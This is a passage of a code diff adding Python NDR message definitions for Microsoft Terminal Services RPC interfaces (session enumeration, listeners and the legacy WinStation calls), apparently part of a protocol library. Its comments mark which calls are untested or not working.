+
+# 3.3.4.2.2 RpcRegisterAsyncNotification (Opnum 1)
+class RpcRegisterAsyncNotification(NDRCALL):
+    opnum = 1
+    structure = (
+        ('SessionId', LONG),
+        ('Mask', ULONG),
+    )
+
+class RpcRegisterAsyncNotificationResponse(NDRCALL):
+    structure = (
+        ('phNotify', NOTIFY_HANDLE),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.2.3 RpcWaitAsyncNotification (Opnum 2)
+class RpcWaitAsyncNotification(NDRCALL):
+    opnum = 2
+    structure = (
+        ('hNotify', context_handle),
+    )
+
+class RpcWaitAsyncNotificationResponse(NDRCALL):
+    structure = (
+        ('SessionChange', PSESSION_CHANGE),
+        ('pEntries', ULONG),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.2.4 RpcUnRegisterAsyncNotification (Opnum 3)
+class RpcUnRegisterAsyncNotification(NDRCALL):
+    opnum = 3
+    structure = (
+        ('hNotify', NOTIFY_HANDLE),
+    )
+
+class RpcUnRegisterAsyncNotificationResponse(NDRCALL):
+    structure = (
+        ('hNotify', NOTIFY_HANDLE),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.3 TermSrvEnumeration; 88143fd0-c28d-4b2b-8fef-8d882f6a9390; \pipe\LSM_API_service
+# 3.3.4.3.1 RpcOpenEnum (Opnum 0)
+class RpcOpenEnum(NDRCALL):
+    opnum = 0
+    structure = (
+        ('hBinding', handle_t),
+    )
+class RpcOpenEnumResponse(NDRCALL):
+    structure = (
+        ('phEnum', ENUM_HANDLE),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.3.2 RpcCloseEnum (Opnum 1)
+class RpcCloseEnum(NDRCALL):
+    opnum = 1
+    structure = (
+        ('phEnum', ENUM_HANDLE),
+    )
+class RpcCloseEnumResponse(NDRCALL):
+    structure = (
+        ('phEnum', ENUM_HANDLE),
+        ('ErrorCode', ULONG),
+    )
+
+#NOT_TESTED 3.3.4.3.3 RpcFilterByState (Opnum 2)
+class RpcFilterByState(NDRCALL):
+    opnum = 2
+    structure = (
+        ('hEnum', ENUM_HANDLE),
+        ('State', LONG),
+        ('bInvert', BOOL),
+    )
+class RpcFilterByStateResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+#NOT_TESTED 3.3.4.3.4 RpcFilterByCallersName (Opnum 3)
+class RpcFilterByCallersName(NDRCALL):
+    opnum = 3
+    structure = (
+        ('hEnum', ENUM_HANDLE),
+    )
+class RpcFilterByCallersNameResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+#NOT_TESTED 3.3.4.3.5 RpcEnumAddFilter (Opnum 4)
+class RpcEnumAddFilter(NDRCALL):
+    opnum = 4
+    structure = (
+        ('hEnum', ENUM_HANDLE),
+        ('hSubEnum', ENUM_HANDLE),
+    )
+class RpcEnumAddFilterResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.3.6 RpcGetEnumResult (Opnum 5)
+class RpcGetEnumResult(NDRCALL):
+    opnum = 5
+    structure = (
+        ('hEnum', ENUM_HANDLE),
+        ('Level', DWORD),
+    )
+
+class RpcGetEnumResultResponse(NDRCALL): # strange double tag in union
+    structure = (
+        ('ppSessionEnumResult', PSESSIONENUM),
+        ('pEntries', ULONG),
+        ('ErrorCode', ULONG),
+    )
+
+#NOT_TESTED 3.3.4.3.7 RpcFilterBySessionType (Opnum 6)
+class RpcFilterBySessionType(NDRCALL):
+    opnum = 6
+    structure = (
+        ('hEnum', ENUM_HANDLE),
+        ('pSessionType', GUID), # The session GUID to be used to filter out the enumeration result.
+                                # Only the session with the specified GUID will be returned
+    )
+class RpcFilterBySessionTypeResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+#NOT_TESTED 3.3.4.3.8 RpcGetSessionIds (Opnum 8)
+class RpcGetSessionIds(NDRCALL):
+    opnum = 8
+    structure = (
+        ('handle_t', handle_t),
+        ('Filter', SESSION_FILTER), # who knows... 
+        ('MaxEntries', ULONG),
+    )
+class RpcGetSessionIdsResponse(NDRCALL):
+    structure = (
+        ('pSessionIds', LONG_ARRAY),
+        ('pcSessionIds', ULONG),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.3.9 RpcGetEnumResultEx (Opnum 9)
+class RpcGetEnumResultEx(NDRCALL):
+    opnum = 9
+    structure = (
+        ('hEnum', ENUM_HANDLE),
+        ('Level', DWORD),
+    )
+
+class RpcGetEnumResultExResponse(NDRCALL):
+    structure = (
+        ('ppSessionEnumResult', PSESSIONENUM),
+        ('pEntries', ULONG),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.3.10 RpcGetAllSessions (Opnum 10)
+class RpcGetAllSessions(NDRCALL):
+    opnum = 10
+    structure = (
+        ('pLevel', ULONG),
+    )
+
+class RpcGetAllSessionsResponse(NDRCALL):
+    # strange double tag in union
+    structure = (
+        ('pLevel', ULONG),
+        ('ppSessionData', PEXECENVDATA),
+        ('pcEntries', ULONG),
+        ('ErrorCode', ULONG),
+    )
+
+#NOT_IMPLEMENTED 3.3.4.3.11 RpcGetAllSessionsEx (Opnum 11)
+class RpcGetAllSessionsEx(NDRCALL):
+    opnum = 11
+    structure = (
+        ('Level', ULONG),
+    )
+
+class RpcGetAllSessionsExResponse(NDRCALL):
+    # giving up to parse it
+    structure = (
+        ('Buffer', UNKNOWNDATA),
+    )
+    
+# 3.5.4.1 RCMPublic bde95fdf-eee0-45de-9e12-e5a61cd0d4fe \pipe\TermSrv_API_service
+# 3.5.4.1.1 RpcGetClientData (Opnum 0)
+class RpcGetClientData(NDRCALL):
+    opnum = 0
+    structure = (
+        ('SessionId', ULONG),
+    )
+
+class RpcGetClientDataResponse(NDRCALL):
+    structure = (
+        ('ppBuff', PWINSTATIONCLIENT),
+        ('pOutBuffByteLen', ULONG),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.5.4.1.2 RpcGetConfigData (Opnum 1)
+class RpcGetConfigData(NDRCALL):
+    opnum = 1
+    structure = (
+        ('SessionId', ULONG),
+    )
+
+class RpcGetConfigDataResponse(NDRCALL):
+    # Note: there is a probability of wrong flags parsing.
+    structure = (
+        ('ppBuff', PWINSTATIONCONFIG),
+        ('pOutBuffByteLen', ULONG),
+        ('ErrorCode', ULONG),
+    )
+
+#NOT_IMPLEMENTED 3.5.4.1.3 RpcGetProtocolStatus (Opnum 2)
+class RpcGetProtocolStatus(NDRCALL):
+    opnum = 2
+    structure = (
+        ('SessionId', ULONG),
+        ('InfoType', PROTOCOLSTATUS_INFO_TYPE),
+    )
+
+class RpcGetProtocolStatusResponse(NDRCALL):
+    structure = (
+        ('ppProtoStatus', PROTOCOLSTATUS_INFO_TYPE),
+        ('pcbProtoStatus', PPROTOCOLSTATUS),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.5.4.1.4 RpcGetLastInputTime (Opnum 3)
+class RpcGetLastInputTime(NDRCALL):
+    opnum = 3
+    structure = (
+        ('SessionId', ULONG),
+    )
+
+class RpcGetLastInputTimeResponse(NDRCALL):
+    structure = (
+        ('pLastInputTime', SYSTEM_TIMESTAMP),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.5.4.1.5 RpcGetRemoteAddress (Opnum 4)
+class RpcGetRemoteAddress(NDRCALL):
+    opnum = 4
+    structure = (
+        ('SessionId', ULONG),
+    )
+
+class RpcGetRemoteAddressResponse(NDRCALL):
+    structure = (
+        ('pRemoteAddress', RCM_REMOTEADDRESS),
+        ('ErrorCode', ULONG),
+    )
+
+#OLD 3.4.4.1.6 RpcShadow (Opnum 5)
+# Probably deprecated. Taken from [MS-TSTS] – v20080207
+class RpcShadow(NDRCALL):
+    opnum = 5
+    structure = (
+        ('szTargetServerName', WSTR),
+        ('TargetSessionId', ULONG),
+        ('HotKeyVk', BYTE),
+        ('HotkeyModifiers', USHORT),
+    )
+
+class RpcShadowResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+#OLD 3.4.4.1.7 RpcShadowTarget (Opnum 6)
+# Probably deprecated. Taken from [MS-TSTS] – v20080207
+class RpcShadowTarget(NDRCALL):
+    '''
+    HRESULT RpcShadowTarget(
+    [in] handle_t hBinding,
+    [in] ULONG SessionId,
+    [in, size_is(ConfigSize)] PBYTE pConfig,
+    [in, range(0, 0x8000)] ULONG ConfigSize,
+    [in, size_is(AddressSize)] PBYTE pAddress,
+    [in, range(0, 0x1000)] ULONG AddressSize,
+    [in, size_is(ModuleDataSize)] PBYTE pModuleData,
+    [in, range(0, 0x1000)] ULONG ModuleDataSize,
+    [in, size_is(ThinwireDataSize)]
+    PBYTE pThinwireData,
+    [in, range(0, 0x1000)] ULONG ThinwireDataSize,
+    [in, string] WCHAR* szClientName
+    );
+    '''
+    opnum = 6
+
+class RpcShadowTargetResponse(NDRCALL):
+    structure = (
+        ('Buffer', UNKNOWNDATA),
+    )
+
+#OLD 3.4.4.1.8 RpcShadowStop (Opnum 7)
+# Probably deprecated. Taken from [MS-TSTS] – v20080207
+class RpcShadowStop(NDRCALL):
+    opnum = 7
+    structure = (
+        ('SessionId', ULONG),
+    )
+
+class RpcShadowStopResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+
+# 3.5.4.1.6 RpcGetAllListeners (Opnum 8)
+class RpcGetAllListeners(NDRCALL):
+    opnum = 8
+    structure = (
+        ('Level', DWORD),
+    )
+
+class RpcGetAllListenersResponse(NDRCALL):
+    structure = (
+        ('ppListeners', PLISTENERENUM),
+        ('pNumListeners', ULONG),
+        ('ErrorCode', ULONG),
+    )
+
+#NOT_IMPLEMENTED 3.5.4.1.7 RpcGetSessionProtocolLastInputTime (Opnum 9)
+class RpcGetSessionProtocolLastInputTime(NDRCALL):
+    opnum = 9
+    '''
+    HRESULT RpcGetSessionProtocolLastInputTime(
+    [in] handle_t hBinding,
+    [in] ULONG SessionId,
+    [in] PROTOCOLSTATUS_INFO_TYPE InfoType,
+    [out, size_is(,*pcbProtoStatus )]
+    unsigned char** ppProtoStatus,
+    [out] ULONG* pcbProtoStatus,
+    [out] hyper* pLastInputTime
+    );
+    '''
+
+class RpcGetSessionProtocolLastInputTimeResponse(NDRCALL):
+    structure = (
+        ('Data', UNKNOWNDATA),
+    )
+
+#NOT_IMPLEMENTED 3.5.4.1.8 RpcGetUserCertificates (Opnum 10)
+class RpcGetUserCertificates(NDRCALL):
+    opnum = 10
+    '''
+    HRESULT RpcGetUserCertificates(
+    [in] handle_t hBinding,
+    [in] ULONG SessionId,
+    [out] ULONG* pcCerts,
+    [out, size_is(, *pcbCerts)] byte** ppbCerts,
+    [out] ULONG* pcbCerts
+    );'''
+
+class RpcGetUserCertificatesResponse(NDRCALL):
+    structure = (
+        ('Data', UNKNOWNDATA),
+    )
+
+#NOT_IMPLEMENTED 3.5.4.1.9 RpcQuerySessionData (Opnum 11)
+class RpcQuerySessionData(NDRCALL):
+    # Was unsuccess to implement this
+    '''
+    HRESULT RpcQuerySessionData(
+        [in] handle_t hBinding,
+        [in] ULONG SessionId,
+        [in] QUERY_SESSION_DATA_TYPE type,
+        [in, unique, size_is(cbInputData )] byte* pbInputData,
+        [in, range(0, 8192)] DWORD cbInputData,
+        [out, ref, size_is(cbSessionData), length_is(*pcbReturnLength)] byte* pbSessionData,
+        [in, range(0, 8192)] ULONG cbSessionData,
+        [out, ref] ULONG* pcbReturnLength,
+        [out, ref] ULONG* pcbRequireBufferSize
+    );
+    '''
+    opnum = 11
+
+class RpcQuerySessionDataResponse(NDRCALL):
+    structure = (
+        ('Buffer', UNKNOWNDATA),
+    )
+
+
+# 3.5.4.2 RCMListener 497d95a6-2d27-4bf5-9bbd-a6046957133c \pipe\TermSrv_API_service or \pipe\Ctx_WinStation_API_service
+# 3.5.4.2.1 RpcOpenListener (Opnum 0)
+class RpcOpenListener(NDRCALL):
+    opnum = 0
+    structure = (
+        ('szListenerName', WSTR),
+    )
+
+class RpcOpenListenerResponse(NDRCALL):
+    structure = (
+        ('phListener', HLISTENER),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.5.4.2.2 RpcCloseListener (Opnum 1)
+class RpcCloseListener(NDRCALL):
+    opnum = 1
+    structure = (
+        ('phListener', HLISTENER),
+    )
+
+class RpcCloseListenerResponse(NDRCALL):
+    structure = (
+        ('phListener', HLISTENER),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.5.4.2.3 RpcStopListener (Opnum 2)
+class RpcStopListener(NDRCALL):
+    opnum = 2
+    structure = (
+        ('phListener', HLISTENER),
+    )
+
+class RpcStopListenerResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+# 3.5.4.2.4 RpcStartListener (Opnum 3)
+class RpcStartListener(NDRCALL):
+    opnum = 3
+    structure = (
+        ('phListener', HLISTENER),
+    )
+
+class RpcStartListenerResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+# 3.5.4.2.5 RpcIsListening (Opnum 4)
+class RpcIsListening(NDRCALL):
+    opnum = 4
+    structure = (
+        ('phListener', HLISTENER),
+    )
+
+class RpcIsListeningResponse(NDRCALL):
+    structure = (
+        ('pbIsListening', BOOLEAN),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.7.4.1 LegacyApi 5ca4a760-ebb1-11cf-8611-00a0245420ed \pipe\Ctx_WinStation_API_service
+# 3.7.4.1.1 RpcWinStationOpenServer (Opnum 0)
+class RpcWinStationOpenServer(NDRCALL):
+    opnum = 0
+    structure = (
+        ('hBinding', handle_t),
+    )
+
+class RpcWinStationOpenServerResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('phServer', SERVER_HANDLE),
+        ('ErrorCode', BOOLEAN),
+    )
+
+# 3.7.4.1.2 RpcWinStationCloseServer (Opnum 1)
+class RpcWinStationCloseServer(NDRCALL):
+    opnum = 1
+    structure = (
+        ('hServer', SERVER_HANDLE),
+    )
+
+class RpcWinStationCloseServerResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+
+#FIXME 3.7.4.1.3 RpcIcaServerPing (Opnum 2) 
+# Expected TRUE got FALSE
+class RpcIcaServerPing(NDRCALL):
+    opnum = 2
+    structure = (
+        ('hServer', SERVER_HANDLE),
+    )
+
+class RpcIcaServerPingResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+
+#NOT_IMPLEMENTED 3.7.4.1.4 RpcWinStationEnumerate (Opnum 3)
+# Could not guess input types :(
+class RpcWinStationEnumerate(NDRCALL):
+    '''
+    BOOLEAN RpcWinStationEnumerate(
+    [in] SERVER_HANDLE hServer,
+    [out] DWORD* pResult,
+    [in, out] PULONG pEntries,
+    [in, out, unique, size_is(*pByteCount)]
+    PCHAR pLogonId,
+    [in, out] PULONG pByteCount,
+    [in, out] PULONG pIndex
+    );
+    '''    
+    opnum = 3
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('pEntries', PULONG),
+        ('pLogonId', PCHAR),
+        ('pByteCount', PULONG),
+        ('pIndex', PULONG),
+    )
+
+class RpcWinStationEnumerateResponse(NDRCALL):
+    structure = (
+        ('pResult', UNKNOWNDATA),
+    )
+
+#NOT_IMPLEMENTED 3.7.4.1.5 RpcWinStationRename (Opnum 4)
+# return: 0x00000000, False. Nothing was changed. No error :(
+class RpcWinStationRename(NDRCALL):
+    '''
+    BOOLEAN RpcWinStationRename(
+        [in] SERVER_HANDLE hServer,
+        [out] DWORD* pResult,
+        [in, size_is(NameOldSize)] PWCHAR pWinStationNameOld,
+        [in, range(0, 256)] DWORD NameOldSize,
+        [in, size_is(NameNewSize)] PWCHAR pWinStationNameNew,
+        [in, range(0, 256)] DWORD NameNewSize
+    );
+    '''
+    opnum = 4
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('pWinStationNameOld', TS_WCHAR),
+        ('NameOldSize', '<L=len(pWinStationNameOld["Data"])'),
+        ('pWinStationNameNew', TS_WCHAR),
+        ('NameNewSize', '<L=len(pWinStationNameNew["Data"])'),
+    )
+
+class RpcWinStationRenameResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+
+#NOT_IMPLEMENTED 3.7.4.1.6 RpcWinStationQueryInformation (Opnum 5)
+#TODO needs implementing a lot of different structures to meet requirements in the call
+class RpcWinStationQueryInformation(NDRCALL):
+    '''
+    BOOLEAN RpcWinStationQueryInformation(
+        [in] SERVER_HANDLE hServer,
+        [out] DWORD* pResult,
+        [in] DWORD LogonId,
+        [in] DWORD WinStationInformationClass,
+        [in, out, unique, size_is(WinStationInformationLength)]
+        PCHAR pWinStationInformation,
+        [in, range(0, 0x8000)] DWORD WinStationInformationLength,
+        [out] DWORD* pReturnLength
+    );
+    '''
+    opnum = 5
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('WinStationInformationClass', DWORD),
+        # ('pWinStationInformation', TS_WCHAR),
+        # ('WinStationInformationLength', DWORD),
+        ('buff', ':'),
+    )
+
+class RpcWinStationQueryInformationResponse(NDRCALL):
+    structure = (
+        ('Buffer', UNKNOWNDATA),
+    )
+
+#NOT_IMPLEMENTED 3.7.4.1.7 RpcWinStationSetInformation (Opnum 6)
+#TODO needs implementing a lot of different structures to meet requirements in the call
+class RpcWinStationSetInformation(NDRCALL):
+    '''
+    BOOLEAN RpcWinStationSetInformation(
+    [in] SERVER_HANDLE hServer,
+    [out] DWORD* pResult,
+    [in] DWORD LogonId,
+    [in] DWORD WinStationInformationClass,
+    [in, out, unique, size_is(WinStationInformationLength)]
+    PCHAR pWinStationInformation,
+    [in, range(0, 0x8000)] DWORD WinStationInformationLength
+    );
+    '''
+    opnum = 6
+class RpcWinStationSetInformationResponse(NDRCALL):
+    structure = (
+        ('Buffer', UNKNOWNDATA),
+    )
+
+# 3.7.4.1.8 RpcWinStationSendMessage (Opnum 7)
+class RpcWinStationSendMessage(NDRCALL):
+    opnum = 7
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('pTitle', TS_WCHAR),
+        ('TitleLength', '<L=len(pTitle["Data"])'),
+        ('pMessage', TS_WCHAR),
+        ('MessageLength', '<L=len(pMessage["Data"])'),
+        ('Style', DWORD),
+        ('Timeout', DWORD),
+        ('DoNotWait', BOOLEAN),
+    )    
+class RpcWinStationSendMessageResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pResponse', DWORD),
+        ('ErrorCode', BOOLEAN),
+    )
+    
+# 3.7.4.1.9 RpcLogonIdFromWinStationName (Opnum 8)
+class RpcLogonIdFromWinStationName(NDRCALL):
+    opnum = 8
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('pWinStationName', TS_WCHAR),
+        ('NameSize', '<L=len(pWinStationName["Data"])'),
+    )
+
+class RpcLogonIdFromWinStationNameResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pLogonId', DWORD),
+        ('ErrorCode', BOOLEAN),
+    )
+
+# 3.7.4.1.10 RpcWinStationNameFromLogonId (Opnum 9)
+class RpcWinStationNameFromLogonId(NDRCALL):
+    opnum = 9
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LoginId', DWORD),
+        ('pWinStationName', TS_WCHAR),
+        ('NameSize', '<L=%d' % (WINSTATIONNAME_LENGTH+1)),
+    )
+
+class RpcWinStationNameFromLogonIdResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pWinStationName', TS_WCHAR_STRIPPED),
+        ('ErrorCode', BOOLEAN),
+    )
+
+# 3.7.4.1.11 RpcWinStationConnect (Opnum 10)
+class RpcWinStationConnect(NDRCALL):
+    opnum = 10
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('ClientLogonId', DWORD),
+        ('ConnectLogonId', DWORD),
+        ('TargetLogonId', DWORD),
+        ('pPassword', TS_WCHAR),
+        ('PasswordSize', '<L=len(pPassword["Data"])'),
+        ('Wait', BOOLEAN),
+    )
+
+class RpcWinStationConnectResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.12 RpcWinStationVirtualOpen (Opnum 11)
+# Does not work remotely
+class RpcWinStationVirtualOpen(NDRCALL):
+    opnum = 11
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('Pid', DWORD),
+        ('pVirtualName', TS_CHAR),
+        ('NameSize', '<L=len(pVirtualName["Data"])'),
+    ) 
+class RpcWinStationVirtualOpenResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pHandle', ULONG),
+        ('ErrorCode', BOOLEAN),
+    )    
+#OLD 3.6.4.1.13 RpcWinStationBeepOpen (Opnum 12)
+# Does not work remotely
+class RpcWinStationBeepOpen(NDRCALL):
+    opnum = 12
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('Pid', DWORD),
+    ) 
+class RpcWinStationBeepOpenResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pHandle', ULONG),
+        ('ErrorCode', BOOLEAN),
+    ) 
+# 3.7.4.1.12 RpcWinStationDisconnect (Opnum 13)
+class RpcWinStationDisconnect(NDRCALL):
+    opnum = 13
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LoginId', DWORD),
+        ('bWait', BOOLEAN),
+    )
+
+class RpcWinStationDisconnectResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+# 3.7.4.1.13 RpcWinStationReset (Opnum 14)
+class RpcWinStationReset(NDRCALL):
+    opnum = 14
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('bWait', BOOLEAN),
+    )
+
+class RpcWinStationResetResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    ) 
+# 3.7.4.1.14 RpcWinStationShutdownSystem (Opnum 15)
+class RpcWinStationShutdownSystem(NDRCALL):
+    opnum = 15
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('ClientLogonId', DWORD),
+        ('ShutdownFlags', DWORD),
+    )
+
+class RpcWinStationShutdownSystemResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    ) 
+# 3.7.4.1.15 RpcWinStationWaitSystemEvent (Opnum 16)
+class RpcWinStationWaitSystemEvent(NDRCALL):
+    opnum = 16
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('EventMask', DWORD),
+    )
+
+class RpcWinStationWaitSystemEventResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pEventFlags', DWORD),
+        ('ErrorCode', BOOLEAN),
+    ) 
+# 3.7.4.1.16 RpcWinStationShadow (Opnum 17)
+# Does not work :(
+class RpcWinStationShadow(NDRCALL):
+    opnum = 17
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('pTargetServerName', TS_LPWCHAR),
+        ('NameSize', '<L=len(pTargetServerName["Data"])'),
+        ('TargetLogonId', DWORD),
+        ('HotKeyVk', BYTE),
+        ('HotkeyModifiers', USHORT),
+    )
+
+class RpcWinStationShadowResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.19 RpcWinStationShadowTargetSetup (Opnum 18)
+class RpcWinStationShadowTargetSetup(NDRCALL):
+    opnum = 18
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+    )
+
+class RpcWinStationShadowTargetSetupResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.20 RpcWinStationShadowTarget (Opnum 19)
+# Not tested
+class RpcWinStationShadowTarget(NDRCALL):
+    opnum = 19
+    '''
+    BOOLEAN RpcWinStationShadowTarget(
+        [in] SERVER_HANDLE hServer,
+        [out] DWORD* pResult,
+        [in] DWORD LogonId,
+        [in, size_is(ConfigSize)] PBYTE pConfig,
+        [in, range(0, 0x8000)] DWORD ConfigSize,
+        [in, size_is(AddressSize)] PBYTE pAddress,
+        [in, range(0, 0x1000 )] DWORD AddressSize,
+        [in, size_is(ModuleDataSize)] PBYTE pModuleData,
+        [in, range(0, 0x1000 )] DWORD ModuleDataSize,
+        [in, size_is(ThinwireDataSize)]
+        PBYTE pThinwireData,
+        [in] DWORD ThinwireDataSize,
+        [in, size_is(ClientNameSize)] PBYTE pClientName,
+        [in, range(0, 1024 )] DWORD ClientNameSize
+    );
+    '''
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('pConfig', PBYTE),
+        ('ConfigSize', DWORD),
+        ('pAddress', PBYTE),
+        ('AddressSize', DWORD),
+        ('pModuleData', PBYTE),
+        ('ModuleDataSize', DWORD),
+        ('pThinwireData', PBYTE),
+        ('ThinwireDataSize', DWORD),
+        ('pClientName', STR),
+        ('ClientNameSize', DWORD),
+    )
+
+class RpcWinStationShadowTargetResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+
+#OLD 3.6.4.1.21 RpcWinStationSetPoolCount (Opnum 26)
+# Not tested
+class RpcWinStationSetPoolCount(NDRCALL):
+    opnum = 26
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('pLicense', TS_CHAR),
+        ('LicenseSize', '<L=len(pLicense["Data"])'),
+    )
+
+class RpcWinStationSetPoolCountResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.22 RpcWinStationQueryUpdateRequired (Opnum 27)
+# Not tested
+class RpcWinStationQueryUpdateRequired(NDRCALL):
+    opnum = 27
+    structure = (
+        ('hServer', SERVER_HANDLE),
+    )
+
+class RpcWinStationQueryUpdateRequiredResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pUpdateFlag', DWORD),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.23 RpcWinStationCallback (Opnum 28)
+# Not tested 
+class RpcWinStationCallback(NDRCALL):
+    opnum = 28
+    '''
+    BOOLEAN RpcWinStationCallback(
+        [in] SERVER_HANDLE hServer,
+        [out] DWORD* pResult,
+        [in] DWORD LogonId,
+        [in, size_is(PhoneNumberSize)]
+        PWCHAR pPhoneNumber,
+        [in, range(0, 0x1000 )] DWORD PhoneNumberSize
+    );
+    '''
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('pPhoneNumber', TS_WCHAR),
+        ('PhoneNumberSize', '<L=len(pPhoneNumber["Data"])'),
+    )
+
+class RpcWinStationCallbackResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+    
+# 3.7.4.1.17 RpcWinStationBreakPoint (Opnum 29)
+class RpcWinStationBreakPoint(NDRCALL):
+    opnum = 29
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('LogonId', DWORD),
+        ('KernelFlag', BOOLEAN),
+    )
+
+class RpcWinStationBreakPointResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+# 3.7.4.1.18 RpcWinStationReadRegistry (Opnum 30)
+# Does not work
+class RpcWinStationReadRegistry(NDRCALL):
+    opnum = 30
+    structure = (
+        ('hServer', SERVER_HANDLE),
+    )
+
+class RpcWinStationReadRegistryResponse(NDRCALL):
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.26 RpcWinStationWaitForConnect (Opnum 31)
+# Does not work
+class RpcWinStationWaitForConnect(NDRCALL):
+    opnum = 31
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('ClientLogonId', DWORD),
+        ('ClientProcessId', DWORD),
+    )
+
+class RpcWinStationWaitForConnectResponse(NDRCALL): 
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('ErrorCode', BOOLEAN),
+    )
+#OLD 3.6.4.1.27 RpcWinStationNotifyLogon (Opnum 32)
+# Unknown
+class RpcWinStationNotifyLogon(NDRCALL):
+    opnum = 32
+    structure = (
+        ('hServer', SERVER_HANDLE),
+        ('ClientLogonId', DWORD),
+        ('ClientProcessId', DWORD),
+        ('fUserIsAdmin', BOOLEAN),
+        ('UserToken', DWORD),
+        ('pDomain', TS_WCHAR),
+        ('DomainSize', '<L=len(pDomain["Data"])'),
+        ('pUserName', TS_WCHAR),
+        ('UserNameSize', '<L=len(pUserName["Data"])'),
+        ('pPassword', TS_WCHAR),
+        ('PasswordSize', '<L=len(pPassword["Data"])'),
+        ('Seed', UCHAR),
+        ('pUserConfig', TS_CHAR),
+        ('ConfigSize', '<L=len(pUserConfig["Data"])'),
+        ('pfIsRedirected', DWORD),
+    )
+
+class RpcWinStationNotifyLogonResponse(NDRCALL): 
+    structure = (
+        ('pResult', pResult_ENUM),
+        ('pfIsRedirected', BOOLEAN),
+        ('ErrorCode', BOOLEAN),
+    )
+
+#OLD 3.6.4.1.28 RpcWinStationNotifyLogoff (Opnum 33)
+# Unknown
+class RpcWinStationNotifyLogoff(NDRCALL):
+    opnum = 33
+    structure = (
+        ('hServer', SERVER_HANDLE),
